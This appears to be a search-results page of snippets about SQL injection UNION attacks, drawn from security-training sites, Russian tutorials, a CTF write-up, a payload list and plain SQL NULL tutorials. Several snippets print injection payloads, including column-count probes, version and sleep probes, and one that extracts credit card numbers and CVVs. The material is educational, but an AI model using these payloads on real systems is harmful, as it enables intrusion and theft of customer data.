SQL injection UNION attacks | Web Security Academy
' UNION SELECT NULL-- ' UNION SELECT NULL,NULL-- ' UNION SELECT NULL,NULL,NULL-- etc.
SQL-инъекции' union select null, null, null -- / Habr
Почему используется значение NULL? Все просто, типы данных в каждом столбце должны быть совместимы между исходным и внедренным запросами.
[PortSwigger, 3/16 SQLi] Атака UNION с внедрением SQL... | Дзен
' UNION SELECT NULL-- ' UNION SELECT NULL, NULL-- ' UNION SELECT NULL, NULL, NULL-- и т.п. Если количество нулей не соответствует количеству столбцов, база данных возвращает ошибку, например
CTFLearn Inj3ction Time Writeup - Víctor Colombo
Next, I started to look for how many columns the query needs to work. This information will be needed in a UNION attack. To find it, I crafted a UNION SELECT query with NULL columns until I found the correct number, which is 4 (even though one of them does not appear in the results).
sql - How null is treated using union and union all in... - Stack Overflow
As null <> null then how the value null is treated here and in which datatype it is considered.
sql-injection-payload-list/README.md at master...
),null,null,null,null,null,null,null,null,null,null,null,null,null,null,null-- union all select @@version,user(),sleep(5),benchmark(1000000,MD5('A')),null,null,null,null,null...
' union select ccid, ccnumber, ccv, expiration, null from credit_cards
' union select null,null,null,null,null
Шпаргалка по SQL инъекциям | DefconRU
11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –- Если нет ошибки, значит синтаксис верный, т.е. используется MS SQL Server.
Union All Select Null Null Null Null Null Null Null Null Null Null Null...
SQL IS NULL And IS NOT NULL Operator Oracle SQL Fundamentals.mp3.
SQL NULL Values - IS NULL and IS NOT NULL
The IS NULL operator is used to test for empty values (NULL values). The following SQL lists all customers with a NULL value in the "Address" field